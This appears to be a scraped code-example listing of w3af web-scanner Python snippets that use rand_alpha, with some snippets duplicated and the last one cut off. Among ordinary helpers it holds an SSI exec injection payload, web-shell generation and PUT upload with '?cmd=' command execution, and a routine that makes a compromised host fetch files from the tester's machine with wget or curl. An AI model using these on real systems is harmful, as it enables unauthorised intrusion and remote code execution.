Пример #1
0
    def _fingerprint_URLScan(self, fuzzable_request):
        """
        Try to verify if URLScan is installed or not.
        """
        # detect using GET
        # Get the original response
        orig_response = self._uri_opener.GET(fuzzable_request.get_url(),
                                             cache=True)
        if orig_response.get_code() != 404:
            # Now add the if header and try again
            headers = fuzzable_request.get_headers()
            headers['If'] = rand_alpha(8)
            if_response = self._uri_opener.GET(fuzzable_request.get_url(),
                                               headers=headers,
                                               cache=True)
            headers = fuzzable_request.get_headers()
            headers['Translate'] = rand_alpha(8)
            translate_response = self._uri_opener.GET(
                fuzzable_request.get_url(), headers=headers, cache=True)

            headers = fuzzable_request.get_headers()
            headers['Lock-Token'] = rand_alpha(8)
            lock_response = self._uri_opener.GET(fuzzable_request.get_url(),
                                                 headers=headers,
                                                 cache=True)

            headers = fuzzable_request.get_headers()
            headers['Transfer-Encoding'] = rand_alpha(8)
            transfer_enc_response = self._uri_opener.GET(
                fuzzable_request.get_url(), headers=headers, cache=True)

            if if_response.get_code() == 404 or translate_response.get_code() == 404 or\
                    lock_response.get_code() == 404 or transfer_enc_response.get_code() == 404:
                self._report_finding('URLScan', lock_response)
    def _get_ssi_strings(self):
        """
        This method returns a list of server sides to try to include.

        :return: A string, see above.
        """
        yield '<!--#exec cmd="echo -n %s;echo -n %s" -->' % (rand_alpha(5), rand_alpha(5))
Пример #3
0
    def _get_table_prefix(self, table_prefix):
        if table_prefix is None:
            table_prefix = 'cached_disk_dict_%s' % rand_alpha(16)
        else:
            args = (table_prefix, rand_alpha(16))
            table_prefix = 'cached_disk_dict_%s_%s' % args

        return table_prefix
Пример #4
0
    def _get_ssi_strings(self):
        """
        This method returns a list of server sides to try to include.

        :return: A string, see above.
        """
        yield '<!--#exec cmd="echo -n %s;echo -n %s" -->' % (rand_alpha(5),
                                                             rand_alpha(5))
Пример #5
0
    def _get_table_prefix(self, table_prefix):
        if table_prefix is None:
            table_prefix = 'cached_disk_dict_%s' % rand_alpha(16)
        else:
            args = (table_prefix, rand_alpha(16))
            table_prefix = 'cached_disk_dict_%s_%s' % args

        return table_prefix
Пример #6
0
    def test_rand_alpha_with_seed(self):
        x = rand_alpha(length=10, seed=1)
        self.assertEqual(len(x), 10)

        y = rand_alpha(length=10, seed=1)
        self.assertEqual(len(y), 10)

        self.assertEqual(x, y)

        z = rand_alpha(length=10, seed=2)
        self.assertEqual(len(z), 10)

        self.assertNotEqual(y, z)
Пример #7
0
    def _get_web_shells(self, extension):
        """
        :yield: Tuples with file_content and file_name for web shells.
        """
        for shell_str, orig_extension in shell_handler.get_webshells(extension):
            # If the webshell was webshell.php this will return a file_name
            # containing kgiwjxh.php (8 rand and the extension)
            file_name = '%s.%s' % (rand_alpha(8), orig_extension)
            yield shell_str, file_name

            # Now we want to return the webshell content <?php ... ?> but in a
            # file with the extension that the upload URL had. This makes our
            # chances of getting access a little greater
            file_name = '%s.%s' % (rand_alpha(8), extension)
            yield shell_str, file_name
Пример #8
0
    def create_mutants(freq, mutant_str_list, fuzzable_param_list, append,
                       fuzzer_config):
        """
        This is a very important method which is called in order to create
        mutants. Usually called from fuzzer.py module.
        """
        if not 'fuzz_form_files' in fuzzer_config:
            return []

        if not isinstance(freq, HTTPPostDataRequest):
            return []

        file_vars = freq.get_file_vars()
        if not file_vars:
            return []

        fake_file_objs = []
        ext = fuzzer_config['fuzzed_files_extension']

        for mutant_str in mutant_str_list:
            if isinstance(mutant_str, basestring):
                # I have to create the NamedStringIO with a "name".
                # This is needed for MultipartPostHandler
                fname = "%s.%s" % (rand_alpha(7), ext)
                str_file = NamedStringIO(mutant_str, name=fname)
                fake_file_objs.append(str_file)

        res = Mutant._create_mutants_worker(freq, FileContentMutant,
                                            fake_file_objs, file_vars, append,
                                            fuzzer_config)
        return res
Пример #9
0
    def audit(self, freq, orig_response, debugging_id):
        """
        Searches for file upload vulns using a POST to author.dll.

        :param freq: A FuzzableRequest
        :param orig_response: The HTTP response associated with the fuzzable request
        :param debugging_id: A unique identifier for this call to audit()
        """
        # Only run if we have the author URL for this frontpage instance
        if self._get_author_url() is None:
            return

        # Only identify one vulnerability of this type
        if kb.kb.get(self, 'frontpage'):
            return

        domain_path = freq.get_url().get_domain_path()

        # Upload only once to each directory
        if domain_path in self._already_tested:
            return

        self._already_tested.add(domain_path)

        rand_file = rand_alpha(6) + '.html'
        upload_id = self._upload_file(domain_path, rand_file, debugging_id)
        self._verify_upload(domain_path, rand_file, upload_id, debugging_id)
Пример #10
0
    def transfer(self, data_str, destination):
        """
        This method is used to transfer the data_str from w3af to the compromised server.
        """
        if not self._command:
            self.can_transfer()

        commandTemplates = {}
        commandTemplates['wget'] = 'wget http://%s:%s/%s -O %s'
        commandTemplates['lynx'] = 'lynx -source http://%s:%s/%s > %s'
        commandTemplates['curl'] = 'curl http://%s:%s/%s > %s'

        # Create the file
        filename = rand_alpha(10)
        file_path = get_temp_dir() + os.path.sep + filename
        f = file(file_path, 'w')
        f.write(data_str)
        f.close()

        # Start a web server on the inbound port and create the file that
        # will be fetched by the compromised host
        webserver.start_webserver(cf.cf.get('local_ip_address'),
                                  self._inbound_port,
                                  get_temp_dir())

        commandToRun = commandTemplates[self._command] % \
            (cf.cf.get('local_ip_address'), self._inbound_port,
             filename, destination)
        self._exec_method(commandToRun)

        os.remove(file_path)

        return self.verify_upload(data_str, destination)
Пример #11
0
    def audit(self, freq, orig_response, debugging_id):
        """
        Searches for file upload vulns using a POST to author.dll.

        :param freq: A FuzzableRequest
        :param orig_response: The HTTP response associated with the fuzzable request
        :param debugging_id: A unique identifier for this call to audit()
        """
        # Only run if we have the author URL for this frontpage instance
        if self._get_author_url() is None:
            return

        # Only identify one vulnerability of this type
        if kb.kb.get(self, 'frontpage'):
            return

        domain_path = freq.get_url().get_domain_path()

        # Upload only once to each directory
        if domain_path in self._already_tested:
            return

        self._already_tested.add(domain_path)

        rand_file = rand_alpha(6) + '.html'
        upload_id = self._upload_file(domain_path, rand_file, debugging_id)
        self._verify_upload(domain_path, rand_file, upload_id, debugging_id)
Пример #12
0
    def setup(self):
        """
        Setup all the required backend stores. This was mostly created to avoid
        starting any threads during __init__() which is called during python's
        import phase and dead-locks in some cases.

        :return: None
        """
        with self._kb_lock:
            if self.initialized:
                return

            self.urls = DiskSet(table_prefix='kb_urls')
            self.fuzzable_requests = DiskSet(table_prefix='kb_fuzzable_requests')

            self.db = get_default_persistent_db_instance()

            self.table_name = 'knowledge_base_' + rand_alpha(30)
            self.db.create_table(self.table_name, self.COLUMNS)
            self.db.create_index(self.table_name, ['location_a', 'location_b'])
            self.db.create_index(self.table_name, ['uniq_id'])
            self.db.commit()

            # Only initialize once
            self.initialized = True
Пример #13
0
    def _get_web_shells(self, extension):
        """
        :yield: Tuples with file_content and file_name for web shells.
        """
        for shell_str, orig_extension in shell_handler.get_webshells(
                extension):
            # If the webshell was webshell.php this will return a file_name
            # containing kgiwjxh.php (8 rand and the extension)
            file_name = '%s.%s' % (rand_alpha(8), orig_extension)
            yield shell_str, file_name

            # Now we want to return the webshell content <?php ... ?> but in a
            # file with the extension that the upload URL had. This makes our
            # chances of getting access a little greater
            file_name = '%s.%s' % (rand_alpha(8), extension)
            yield shell_str, file_name
Пример #14
0
    def __init__(self, table_prefix=None, dump=None, load=None):
        """
        :param table_prefix: The DBMS table prefix, mostly for debugging.
        :param dump: The function to use to serialize the object
        :param load: The function to use to deserialize the object
        """
        self.db = get_default_temp_db_instance()

        prefix = '' if table_prefix is None else ('%s_' % table_prefix)
        self.table_name = 'disk_list_' + prefix + rand_alpha(30)

        self.dump = dump
        self.load = load

        # Create table
        # DO NOT add the AUTOINCREMENT flag to the table creation since that
        # will break __getitem__ when an item is removed, see:
        #     http://www.sqlite.org/faq.html#q1
        columns = [('index_', 'INTEGER'), ('eq_attrs', 'TEXT'),
                   ('pickle', 'BLOB')]
        pks = ['index_']

        self.db.create_table(self.table_name, columns, pks)
        self.db.create_index(self.table_name, ['eq_attrs'])
        self.db.commit()

        self._state = OPEN
Пример #15
0
    def create_mutants(freq, mutant_str_list, fuzzable_param_list,
                       append, fuzzer_config):
        """
        This is a very important method which is called in order to create
        mutants. Usually called from fuzzer.py module.
        """
        if not 'fuzz_form_files' in fuzzer_config:
            return []

        if not isinstance(freq, HTTPPostDataRequest):
            return []

        file_vars = freq.get_file_vars()
        if not file_vars:
            return []

        fake_file_objs = []
        ext = fuzzer_config['fuzzed_files_extension']

        for mutant_str in mutant_str_list:
            if isinstance(mutant_str, basestring):
                # I have to create the NamedStringIO with a "name".
                # This is needed for MultipartPostHandler
                fname = "%s.%s" % (rand_alpha(7), ext)
                str_file = NamedStringIO(mutant_str, name=fname)
                fake_file_objs.append(str_file)

        res = Mutant._create_mutants_worker(freq, FileContentMutant,
                                            fake_file_objs,
                                            file_vars,
                                            append, fuzzer_config)
        return res
Пример #16
0
    def setup(self):
        """
        Setup all the required backend stores. This was mostly created to avoid
        starting any threads during __init__() which is called during python's
        import phase and dead-locks in some cases.

        :return: None
        """
        with self._kb_lock:
            if self.initialized:
                return

            self.urls = DiskSet(table_prefix='kb_urls')
            self.fuzzable_requests = DiskSet(table_prefix='kb_fuzzable_requests')

            self.db = get_default_persistent_db_instance()

            self.table_name = 'knowledge_base_' + rand_alpha(30)
            self.db.create_table(self.table_name, self.COLUMNS)
            self.db.create_index(self.table_name, ['location_a', 'location_b'])
            self.db.create_index(self.table_name, ['uniq_id'])
            self.db.commit()

            # Only initialize once
            self.initialized = True
Пример #17
0
    def __init__(self, table_prefix=None, dump=None, load=None):
        """
        :param table_prefix: The DBMS table prefix, mostly for debugging.
        :param dump: The function to use to serialize the object
        :param load: The function to use to deserialize the object
        """
        self.db = get_default_temp_db_instance()

        prefix = '' if table_prefix is None else ('%s_' % table_prefix)
        self.table_name = 'disk_list_' + prefix + rand_alpha(30)

        self.dump = dump
        self.load = load

        # Create table
        # DO NOT add the AUTOINCREMENT flag to the table creation since that
        # will break __getitem__ when an item is removed, see:
        #     http://www.sqlite.org/faq.html#q1
        columns = [('index_', 'INTEGER'),
                   ('eq_attrs', 'TEXT'),
                   ('pickle', 'BLOB')]
        pks = ['index_']
        
        self.db.create_table(self.table_name, columns, pks)
        self.db.create_index(self.table_name, ['eq_attrs'])
        self.db.commit()

        self._state = OPEN
Пример #18
0
    def audit(self, freq, orig_response):
        """
        Searches for file upload vulns using a POST to author.dll.

        :param freq: A FuzzableRequest
        """
        domain_path = freq.get_url().get_domain_path()

        if kb.kb.get(self, 'frontpage'):
            # Nothing to do, I have found vuln(s) and I should stop on first
            msg = 'Not verifying if I can upload files to: "%s" using'\
                  ' author.dll. Because I already found a vulnerability.'
            om.out.debug(msg)
            return

        # I haven't found any vulns yet, OR i'm trying to find every
        # directory where I can write a file.
        if domain_path not in self._already_tested:
            self._already_tested.add(domain_path)

            # Find a file that doesn't exist and then try to upload it
            for _ in xrange(3):
                rand_file = rand_alpha(5) + '.html'
                rand_path_file = domain_path.url_join(rand_file)
                res = self._uri_opener.GET(rand_path_file)
                if is_404(res):
                    upload_id = self._upload_file(domain_path, rand_file)
                    self._verify_upload(domain_path, rand_file, upload_id)
                    break
            else:
                msg = 'frontpage plugin failed to find a 404 page. This is'\
                      ' mostly because of an error in 404 page detection.'
                om.out.error(msg)
Пример #19
0
    def _PUT(self, domain_path):
        """
        Tests PUT method.
        """
        # upload
        url = domain_path.url_join(rand_alpha(5))
        rnd_content = rand_alnum(6)
        headers = Headers([('content-type', 'text/plain')])

        put_response = self._uri_opener.PUT(url,
                                            data=rnd_content,
                                            headers=headers)

        # check if uploaded
        res = self._uri_opener.GET(url, cache=True)
        if res.get_body() == rnd_content:
            msg = 'File upload with HTTP PUT method was found at resource:' \
                  ' "%s". A test file was uploaded to: "%s".'
            msg = msg % (domain_path, res.get_url())

            v = Vuln('Insecure DAV configuration', msg, severity.HIGH,
                     [put_response.id, res.id], self.get_name())

            v.set_url(url)
            v.set_method('PUT')

            self.kb_append(self, 'dav', v)

        # Report some common errors
        elif put_response.get_code() == 500:
            msg = 'DAV seems to be incorrectly configured. The web server' \
                  ' answered with a 500 error code. In most cases, this means'\
                  ' that the DAV extension failed in some way. This error was'\
                  ' found at: "%s".' % put_response.get_url()

            i = Info('DAV incorrect configuration', msg, res.id,
                     self.get_name())

            i.set_url(url)
            i.set_method('PUT')

            self.kb_append(self, 'dav', i)

        # Report some common errors
        elif put_response.get_code() == 403:
            msg = 'DAV seems to be correctly configured and allowing you to'\
                  ' use the PUT method but the directory does not have the'\
                  ' correct permissions that would allow the web server to'\
                  ' write to it. This error was found at: "%s".'
            msg = msg % put_response.get_url()

            i = Info('DAV incorrect configuration', msg,
                     [put_response.id, res.id], self.get_name())

            i.set_url(url)
            i.set_method('PUT')

            self.kb_append(self, 'dav', i)
Пример #20
0
    def _PUT(self, domain_path):
        """
        Tests PUT method.
        """
        # upload
        url = domain_path.url_join(rand_alpha(5))
        rnd_content = rand_alnum(6)
        headers = Headers([('content-type', 'text/plain')])

        put_response = self._uri_opener.PUT(url, data=rnd_content,
                                            headers=headers)

        # check if uploaded
        res = self._uri_opener.GET(url, cache=True)
        if res.get_body() == rnd_content:
            msg = 'File upload with HTTP PUT method was found at resource:' \
                  ' "%s". A test file was uploaded to: "%s".'
            msg = msg % (domain_path, res.get_url())
            
            v = Vuln('Insecure DAV configuration', msg, severity.HIGH,
                     [put_response.id, res.id], self.get_name())

            v.set_url(url)
            v.set_method('PUT')
            
            self.kb_append(self, 'dav', v)

        # Report some common errors
        elif put_response.get_code() == 500:
            msg = 'DAV seems to be incorrectly configured. The web server' \
                  ' answered with a 500 error code. In most cases, this means'\
                  ' that the DAV extension failed in some way. This error was'\
                  ' found at: "%s".' % put_response.get_url()

            i = Info('DAV incorrect configuration', msg, res.id, self.get_name())

            i.set_url(url)
            i.set_method('PUT')
            
            self.kb_append(self, 'dav', i)

        # Report some common errors
        elif put_response.get_code() == 403:
            msg = 'DAV seems to be correctly configured and allowing you to'\
                  ' use the PUT method but the directory does not have the'\
                  ' correct permissions that would allow the web server to'\
                  ' write to it. This error was found at: "%s".'
            msg = msg % put_response.get_url()
            
            i = Info('DAV incorrect configuration', msg,
                     [put_response.id, res.id], self.get_name())

            i.set_url(url)
            i.set_method('PUT')
            
            self.kb_append(self, 'dav', i)
Пример #21
0
 def can_exploit(self, opener):
     rand = rand_alpha(8)
     cmd = self.generate_command('echo %s|rev' % rand)
     
     # For some reason that I don't care about, rev adds a \n to the string
     # it reverses, even when I run the echo with "-n".
     expected_output = '%s\n' % rand[::-1]
     
     http_response = self.send(cmd, opener)
     return expected_output == self.extract_result(http_response)
Пример #22
0
    def __init__(self):
        AuditPlugin.__init__(self)

        # Create some random strings, which the plugin will use.
        # for the fuzz_with_echo
        self._rnd = rand_alpha(5)
        self._rnd = self._rnd.lower()
        self._expected_result = self._rnd * self.PRINT_REPEATS

        # User configured parameters
        self._use_time_delay = True
        self._use_echo = True
Пример #23
0
def get_file_from_template(extension):
    file_name = "%s.%s" % (rand_alpha(7), extension)

    template_file = os.path.join(TEMPLATE_DIR, 'template.%s' % extension)
    if os.path.exists(template_file):
        file_content = file(template_file).read()
        success = True
    else:
        file_content = rand_alnum(64)
        success = False

    return success, file_content, file_name
Пример #24
0
def get_file_from_template(extension):
    file_name = "%s.%s" % (rand_alpha(7), extension)

    template_file = os.path.join(TEMPLATE_DIR, 'template.%s' % extension)
    if os.path.exists(template_file):
        file_content = file(template_file).read()
        success = True
    else:
        file_content = rand_alnum(64)
        success = False

    return success, file_content, file_name
Пример #25
0
    def __init__(self):
        AuditPlugin.__init__(self)

        # Create some random strings, which the plugin will use.
        # for the fuzz_with_echo
        self._rnd = rand_alpha(5)
        self._rnd = self._rnd.lower()
        self._expected_result = self._rnd * self.PRINT_REPEATS

        # User configured parameters
        self._use_time_delay = True
        self._use_echo = True
Пример #26
0
    def validate(self, value):

        expanded_path = os.path.expanduser(value)

        # In some scenarios we want to allow the end-user to choose an output
        # file that doesn't actually write to disk
        #
        # For example, in output.text_file the user might want to log to the
        # text log, but doesn't care about the HTTP requests and responses. In
        # that case the user specifies /dev/null as the output
        if expanded_path == '/dev/null':
            return value

        # This is useful for testing, the user specifies a script with $rnd$ in the
        # output file name, w3af will replace that string with 5 random chars.
        #
        # The user can then run the same script over and over without caring about
        # overwriting his output files.
        rnd = rand_alpha(5)
        value = expanded_path = expanded_path.replace('$rnd$', rnd)

        directory = os.path.abspath(os.path.dirname(expanded_path))

        if os.path.isdir(expanded_path):
            msg = 'Invalid output file "%s", it must not be a directory.'
            raise BaseFrameworkException(msg % value)

        if not os.path.isdir(directory):
            msg = ('Invalid file option "%s", the directory "%s" does'
                   ' not exist.')
            raise BaseFrameworkException(msg % (value, directory))

        if not os.access(directory, os.W_OK):
            msg = ('Invalid file option "%s", the user does not have'
                   ' enough permissions to write to the specified directory.')
            raise BaseFrameworkException(msg % value)

        if os.path.exists(value):
            if not os.access(value, os.W_OK):
                msg = ('Invalid file option "%s", the user does not have'
                       ' enough permissions to write to the file.')
                raise BaseFrameworkException(msg % value)

        # Please note the following:
        #     >>> os.path.abspath(os.path.dirname(''))
        #     '/home/foobar/workspace/threading2'
        #
        # This is why we need this check:
        if value == '':
            msg = 'Invalid file option, you have to specify a non-empty value.'
            raise BaseFrameworkException(msg)

        return value
Пример #27
0
 def _fingerprint_SecureIIS(self, fuzzable_request):
     """
     Try to verify if SecureIIS is installed or not.
     """
     # And now a final check for SecureIIS
     headers = fuzzable_request.get_headers()
     headers['Transfer-Encoding'] = rand_alpha(1024 + 1)
     try:
         lock_response2 = self._uri_opener.GET(fuzzable_request.get_url(),
                                               headers=headers, cache=True)
     except BaseFrameworkException, w3:
         om.out.debug(
             'Failed to identify secure IIS, exception: ' + str(w3))
Пример #28
0
 def _fingerprint_SecureIIS(self, fuzzable_request):
     """
     Try to verify if SecureIIS is installed or not.
     """
     # And now a final check for SecureIIS
     headers = fuzzable_request.get_headers()
     headers['Transfer-Encoding'] = rand_alpha(1024 + 1)
     try:
         lock_response2 = self._uri_opener.GET(fuzzable_request.get_url(),
                                               headers=headers, cache=True)
     except BaseFrameworkException, w3:
         om.out.debug(
             'Failed to identify secure IIS, exception: ' + str(w3))
Пример #29
0
    def can_exploit(self, opener):
        # Define a test command:
        rand = rand_alpha(8)
        expected_output = rand + '\n'
        
        if self._remote_os == 'windows':
            command = self.generate_command('echo %s' % rand)
        else:
            command = self.generate_command('/bin/echo %s' % rand)

        # Lets define the result header and footer.
        http_response = self.send(command, opener)
        return self._define_exact_cut(http_response.get_body(), expected_output)
Пример #30
0
    def _fingerprint_URLScan(self, fuzzable_request):
        """
        Try to verify if URLScan is installed or not.
        """
        # detect using GET
        # Get the original response
        orig_response = self._uri_opener.GET(
            fuzzable_request.get_url(), cache=True)
        if orig_response.get_code() != 404:
            # Now add the if header and try again
            headers = fuzzable_request.get_headers()
            headers['If'] = rand_alpha(8)
            if_response = self._uri_opener.GET(fuzzable_request.get_url(),
                                               headers=headers,
                                               cache=True)
            headers = fuzzable_request.get_headers()
            headers['Translate'] = rand_alpha(8)
            translate_response = self._uri_opener.GET(
                fuzzable_request.get_url(),
                headers=headers,
                cache=True)

            headers = fuzzable_request.get_headers()
            headers['Lock-Token'] = rand_alpha(8)
            lock_response = self._uri_opener.GET(fuzzable_request.get_url(),
                                                 headers=headers,
                                                 cache=True)

            headers = fuzzable_request.get_headers()
            headers['Transfer-Encoding'] = rand_alpha(8)
            transfer_enc_response = self._uri_opener.GET(
                fuzzable_request.get_url(),
                headers=headers,
                cache=True)

            if if_response.get_code() == 404 or translate_response.get_code() == 404 or\
                    lock_response.get_code() == 404 or transfer_enc_response.get_code() == 404:
                self._report_finding('URLScan', lock_response)
Пример #31
0
    def __init__(self):
        self.db = get_default_temp_db_instance()

        self.table_name = rand_alpha(30)

        # Create table
        # DO NOT add the AUTOINCREMENT flag to the table creation since that
        # will break __getitem__ when an item is removed, see:
        #     http://www.sqlite.org/faq.html#q1
        columns = [('index_', 'INTEGER'), ('key', 'BLOB'), ('value', 'BLOB')]
        pks = ['index_']

        self.db.create_table(self.table_name, columns, pks)
        self.db.create_index(self.table_name, ['key'])
        self.db.commit()
Пример #32
0
    def _verify_vuln(self, vuln_obj):
        """
        This command verifies a vuln. This is really hard work! :P

        :return : True if vuln can be exploited.
        """
        # Create the shell
        filename = rand_alpha(7)
        extension = vuln_obj.get_url().get_extension()

        # I get a list of tuples with file_content and extension to use
        shell_list = shell_handler.get_webshells(extension)

        for file_content, real_extension in shell_list:
            if extension == '':
                extension = real_extension
            om.out.debug('Uploading shell with extension: "%s".' % extension)

            # Upload the shell
            fname = '%s.%s' % (filename, extension)
            url_to_upload = vuln_obj.get_url().url_join(fname)

            om.out.debug('Uploading file %s using PUT method.' % url_to_upload)
            self._uri_opener.PUT(url_to_upload, data=file_content)

            # Verify if I can execute commands
            # All w3af shells, when invoked with a blank command, return a
            # specific value in the response:
            # shell_handler.SHELL_IDENTIFIER
            exploit_url = URL(url_to_upload + '?cmd=')
            response = self._uri_opener.GET(exploit_url)

            if shell_handler.SHELL_IDENTIFIER in response.get_body():
                msg = (
                    'The uploaded shell returned the SHELL_IDENTIFIER, which'
                    ' verifies that the file was uploaded and is being'
                    ' executed.')
                om.out.debug(msg)
                self._exploit_url = exploit_url
                return True
            else:
                msg = ('The uploaded shell with extension: "%s" did NOT return'
                       ' the SHELL_IDENTIFIER, which means that the file was'
                       ' not uploaded to the remote server or the code is not'
                       ' being run. The returned body was: "%s".')
                om.out.debug(msg % (extension, response.get_body()))
                extension = ''
Пример #33
0
    def _verify_vuln(self, vuln_obj):
        """
        This command verifies a vuln. This is really hard work! :P

        :return : True if vuln can be exploited.
        """
        # Create the shell
        filename = rand_alpha(7)
        extension = vuln_obj.get_url().get_extension()

        # I get a list of tuples with file_content and extension to use
        shell_list = shell_handler.get_webshells(extension)

        for file_content, real_extension in shell_list:
            if extension == '':
                extension = real_extension
            om.out.debug('Uploading shell with extension: "%s".' % extension)

            # Upload the shell
            fname = '%s.%s' % (filename, extension)
            url_to_upload = vuln_obj.get_url().url_join(fname)

            om.out.debug(
                'Uploading file %s using PUT method.' % url_to_upload)
            self._uri_opener.PUT(url_to_upload, data=file_content)

            # Verify if I can execute commands
            # All w3af shells, when invoked with a blank command, return a
            # specific value in the response:
            # shell_handler.SHELL_IDENTIFIER
            exploit_url = URL(url_to_upload + '?cmd=')
            response = self._uri_opener.GET(exploit_url)

            if shell_handler.SHELL_IDENTIFIER in response.get_body():
                msg = 'The uploaded shell returned the SHELL_IDENTIFIER, which'\
                      ' verifies that the file was uploaded and is being' \
                      ' executed.'
                om.out.debug(msg)
                self._exploit_url = exploit_url
                return True
            else:
                msg = 'The uploaded shell with extension: "%s" did NOT return'\
                      ' the SHELL_IDENTIFIER, which means that the file was'\
                      ' not uploaded to the remote server or the code is not'\
                      ' being run. The returned body was: "%s".'
                om.out.debug(msg % (extension, response.get_body()))
                extension = ''
Пример #34
0
    def __init__(self):
        self.db = get_default_temp_db_instance()

        self.table_name = rand_alpha(30)

        # Create table
        # DO NOT add the AUTOINCREMENT flag to the table creation since that
        # will break __getitem__ when an item is removed, see:
        #     http://www.sqlite.org/faq.html#q1
        columns = [('index_', 'INTEGER'),
                   ('eq_attrs', 'TEXT'),
                   ('pickle', 'BLOB')]
        pks = ['index_']
        
        self.db.create_table(self.table_name, columns, pks)
        self.db.create_index(self.table_name, ['eq_attrs',])
        self.db.commit()
Пример #35
0
    def test_rand_alpha(self):
        x = rand_alpha(length=10)
        self.assertEqual(len(x), 10)

        x = rand_alpha(length=20)
        self.assertEqual(len(x), 20)

        x = rand_alpha(length=5)
        y = rand_alpha(length=5)
        z = rand_alpha(length=5)
        w = rand_alpha(length=5)
        self.assertTrue(x != y != z != w)
Пример #36
0
    def __init__(self, table_prefix=None):
        self.db = get_default_temp_db_instance()

        prefix = '' if table_prefix is None else ('%s_' % table_prefix)
        self.table_name = 'disk_dict_' + prefix + rand_alpha(30)

        # Create table
        # DO NOT add the AUTOINCREMENT flag to the table creation since that
        # will break __getitem__ when an item is removed, see:
        #     http://www.sqlite.org/faq.html#q1
        columns = [('index_', 'INTEGER'),
                   ('key', 'BLOB'),
                   ('value', 'BLOB')]
        pks = ['index_']
        
        self.db.create_table(self.table_name, columns, pks)
        self.db.create_index(self.table_name, ['key'])
        self.db.commit()
Пример #37
0
    def validate(self, value):

        expanded_path = os.path.expanduser(value)

        # This is useful for testing, the user specifies a script with $rnd$ in the
        # output file name, w3af will replace that string with 5 random chars.
        #
        # The user can then run the same script over and over without caring about
        # overwriting his output files.
        rnd = rand_alpha(5)
        value = expanded_path = expanded_path.replace('$rnd$', rnd)

        directory = os.path.abspath(os.path.dirname(expanded_path))

        if os.path.isdir(expanded_path):
            msg = 'Invalid output file "%s", it must not be a directory.'
            raise BaseFrameworkException(msg % value)

        if not os.path.isdir(directory):
            msg = ('Invalid file option "%s", the directory "%s" does'
                   ' not exist.')
            raise BaseFrameworkException(msg % (value, directory))

        if not os.access(directory, os.W_OK):
            msg = ('Invalid file option "%s", the user does not have'
                   ' enough permissions to write to the specified directory.')
            raise BaseFrameworkException(msg % value)

        if os.path.exists(value):
            if not os.access(value, os.W_OK):
                msg = ('Invalid file option "%s", the user does not have'
                       ' enough permissions to write to the file.')
                raise BaseFrameworkException(msg % value)

        # Please note the following:
        #     >>> os.path.abspath(os.path.dirname(''))
        #     '/home/foobar/workspace/threading2'
        #
        # This is why we need this check:
        if value == '':
            msg = 'Invalid file option, you have to specify a non-empty value.'
            raise BaseFrameworkException(msg)

        return value
Пример #38
0
    def validate(self, value):
        
        expanded_path = os.path.expanduser(value)

        # This is useful for testing, the user specifies a script with $rnd$ in the
        # output file name, w3af will replace that string with 5 random chars.
        #
        # The user can then run the same script over and over without caring about
        # overwriting his output files.
        rnd = rand_alpha(5)
        value = expanded_path = expanded_path.replace('$rnd$', rnd)

        directory = os.path.abspath(os.path.dirname(expanded_path))

        if os.path.isdir(expanded_path):
            msg = 'Invalid output file "%s", it must not be a directory.'
            raise BaseFrameworkException(msg % value)

        if not os.path.isdir(directory):
            msg = ('Invalid file option "%s", the directory "%s" does'
                   ' not exist.')
            raise BaseFrameworkException(msg % (value, directory))

        if not os.access(directory, os.W_OK):
            msg = ('Invalid file option "%s", the user does not have'
                   ' enough permissions to write to the specified directory.')
            raise BaseFrameworkException(msg % value)

        if os.path.exists(value):
            if not os.access(value, os.W_OK):
                msg = ('Invalid file option "%s", the user does not have'
                       ' enough permissions to write to the file.')
                raise BaseFrameworkException(msg % value)

        # Please note the following:
        #     >>> os.path.abspath(os.path.dirname(''))
        #     '/home/foobar/workspace/threading2'
        #
        # This is why we need this check:
        if value == '':
            msg = 'Invalid file option, you have to specify a non-empty value.'
            raise BaseFrameworkException(msg)

        return value
Пример #39
0
    def __init__(self, table_prefix=None):
        self.db = get_default_temp_db_instance()

        prefix = '' if table_prefix is None else ('%s_' % table_prefix)
        self.table_name = 'disk_list_' + prefix + rand_alpha(30)

        # Create table
        # DO NOT add the AUTOINCREMENT flag to the table creation since that
        # will break __getitem__ when an item is removed, see:
        #     http://www.sqlite.org/faq.html#q1
        columns = [('index_', 'INTEGER'), ('eq_attrs', 'TEXT'),
                   ('pickle', 'BLOB')]
        pks = ['index_']

        self.db.create_table(self.table_name, columns, pks)
        self.db.create_index(self.table_name, ['eq_attrs'])
        self.db.commit()

        self._state = OPEN
    def _check_existance(self, original_response, mutant):
        """
        Actually check if the mutated URL exists.

        :return: None, all important data is put() to self.output_queue
        """
        response = self._uri_opener.send_mutant(mutant)

        if not is_404(response) and relative_distance_lt(original_response.body, response.body, 0.85):

            # Verify against something random
            rand = rand_alpha()
            rand_mutant = mutant.copy()
            rand_mutant.set_mod_value(rand)
            rand_response = self._uri_opener.send_mutant(rand_mutant)

            if relative_distance_lt(response.body, rand_response.body, 0.85):

                for fr in self._create_fuzzable_requests(response):
                    self.output_queue.put(fr)
Пример #41
0
    def __init__(self):
        super(DBKnowledgeBase, self).__init__()

        self.urls = DiskSet()
        self.fuzzable_requests = DiskSet()

        self.db = get_default_persistent_db_instance()

        columns = [("location_a", "TEXT"), ("location_b", "TEXT"), ("uniq_id", "TEXT"), ("pickle", "BLOB")]

        self.table_name = rand_alpha(30)
        self.db.create_table(self.table_name, columns)
        self.db.create_index(self.table_name, ["location_a", "location_b"])
        self.db.create_index(self.table_name, ["uniq_id"])
        self.db.commit()

        # TODO: Why doesn't this work with a WeakValueDictionary?
        self.observers = {}  # WeakValueDictionary()
        self.type_observers = {}  # WeakValueDictionary()
        self.url_observers = []
        self._observer_id = 0
Пример #42
0
    def _check_existance(self, original_response, mutant):
        """
        Actually check if the mutated URL exists.

        :return: None, all important data is put() to self.output_queue
        """
        response = self._uri_opener.send_mutant(mutant)

        if not is_404(response) and \
        fuzzy_not_equal(original_response.body, response.body, 0.85):

            # Verify against something random
            rand = rand_alpha()
            rand_mutant = mutant.copy()
            rand_mutant.set_mod_value(rand)
            rand_response = self._uri_opener.send_mutant(rand_mutant)

            if fuzzy_not_equal(response.body, rand_response.body, 0.85):

                for fr in self._create_fuzzable_requests(response):
                    self.output_queue.put(fr)
Пример #43
0
    def _check_existance(self, original_response, mutant):
        """
        Actually check if the mutated URL exists.

        :return: None, all important data is put() to self.output_queue
        """
        response = self._uri_opener.send_mutant(mutant)

        if is_404(response):
            return

        if fuzzy_not_equal(original_response.body, response.body, 0.85):
            
            # Verify against something random
            rand = rand_alpha()
            rand_mutant = mutant.copy()
            rand_mutant.set_token_value(rand)
            rand_response = self._uri_opener.send_mutant(rand_mutant)
            
            if fuzzy_not_equal(response.body, rand_response.body, 0.85):
                
